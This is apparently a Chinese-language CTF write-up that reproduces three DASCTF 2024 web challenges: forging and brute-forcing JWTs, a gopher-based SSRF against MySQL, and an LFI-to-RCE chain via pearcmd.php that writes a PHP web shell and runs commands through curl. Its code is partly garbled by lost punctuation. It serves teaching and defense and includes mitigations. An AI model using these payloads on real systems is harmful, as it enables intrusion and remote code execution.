DASCTF 2024 Web 赛题 3 类漏洞复现:JWT 解析、SSRF 与 Pearcmd RCE
DASCTF 2024 Web 漏洞深度剖析从 JWT 绕过到 Pearcmd RCE 实战指南1. 漏洞复现环境搭建与核心概念解析在网络安全竞赛和实际渗透测试中Web 漏洞的识别与利用始终是技术攻坚的重点。本次我们将深入分析 DASCTF 2024 比赛中三个具有代表性的 Web 漏洞案例通过可复现的 Docker 环境搭建和分步骤攻击演示帮助安全研究人员掌握高阶漏洞利用技术。实验环境基础配置# 使用 Docker 快速搭建漏洞环境 docker pull vuln/web-lab:dasctf2024 docker run -d -p 8080:80 --name dasctf-lab vuln/web-lab:dasctf20241.1 JWT 安全机制与逻辑绕过JSON Web Token (JWT) 作为现代 Web 应用常用的身份验证机制其安全性取决于密钥管理和算法验证的严格性。典型的 JWT 结构由三部分组成Header.Payload.Signature常见漏洞模式分析算法混淆攻击当服务端配置为接受多种签名算法时攻击者可将算法改为none绕过验证密钥爆破弱密钥导致签名可被暴力破解逻辑缺陷未校验关键声明如role、exp等实战案例import jwt # 原始合法Token original_token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoiYWRtaW4ifQ.1qJQ7v0Xj3Z8jK7NtYw3qT4vGbYy6xH8dFjKlMnOpQ # 1. 修改算法为none none_token jwt.encode( {user: admin, role: superadmin}, key, algorithmnone ).decode() # 2. 爆破弱密钥 with open(common_secrets.txt) as f: for secret in f: try: jwt.decode(original_token, secret.strip(), algorithms[HS256]) print(fFound secret: {secret}) break except: continue防护建议严格指定允许的签名算法如只允许 HS256使用足够强度的随机密钥验证所有必要的声明字段2. SSRF 攻击 MySQL 服务的技术突破服务端请求伪造SSRF漏洞允许攻击者通过目标服务器发起内部网络请求当结合特定协议处理缺陷时可能造成更严重的危害。2.1 利用 Gopher 协议攻击 MySQL攻击流程探测内网 MySQL 服务通常为 3306 端口构造恶意认证包绕过身份验证通过LOAD_FILE()函数读取系统文件关键攻击代码import urllib.parse # 构造恶意的MySQL认证包 mysql_payload \x85\xa6\xff\x01\x00\x00\x00\x01\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 gopher_payload gopher://127.0.0.1:3306/_ urllib.parse.quote(mysql_payload) print(f构造的Gopher链接: {gopher_payload})漏洞利用链SSRF - MySQL协议交互 - 认证绕过 - 文件读取 - 获取敏感信息防护方案禁用危险协议gopher、file、dict等实施网络层隔离对内部服务启用认证机制3. Pearcmd.php 从 LFI 到 RCE 的完整利用Pear 命令行工具默认安装的pearcmd.php文件在特定配置下可能成为攻击入口实现从本地文件包含到远程代码执行的升级。3.1 漏洞利用步骤详解环境特征识别PHP 应用存在文件包含漏洞服务器安装了 PEAR 包管理器/usr/local/lib/php/pearcmd.php文件可访问攻击过程通过 LFI 包含pearcmd.php利用config-create参数写入恶意文件包含生成的恶意文件获取 RCE完整利用代码GET /index.php?file/usr/local/lib/php/pearcmd.php-c/tmp/evilconfig-dman_dir?system($_GET[cmd]);? HTTP/1.1 Host: vulnerable.site实际攻击示例# 第一步写入恶意配置 curl http://target.com/vuln.php?file/usr/local/lib/php/pearcmd.php-c/tmp/evil.php-dman_dir?phpsystem($_GET[cmd]);? # 第二步执行系统命令 curl http://target.com/vuln.php?file/tmp/evil.phpcmdid缓解措施卸载不必要的 PEAR 组件限制 PHP 的文件包含路径更新到最新版 PEAR4. 漏洞利用链对比分析与防御矩阵通过表格对比三种漏洞的利用条件和影响范围漏洞类型前置条件利用复杂度影响范围典型防御措施JWT绕过存在算法验证缺陷低用户权限提升严格算法校验SSRF攻击MySQL开放3306端口且无认证中内网渗透/数据泄露网络隔离/强认证Pearcmd RCE存在LFI且安装PEAR高系统完全控制组件最小化安装高级攻击技巧JWT结合时序攻击获取密钥指纹SSRF利用DNS重绑定绕过IP限制LFI通过php://filter实现源码泄露在实战中这些漏洞往往形成组合攻击链。例如先通过JWT绕过获取管理员权限再利用后台功能的SSRF探测内网最终通过文件上传LFI实现持久化控制。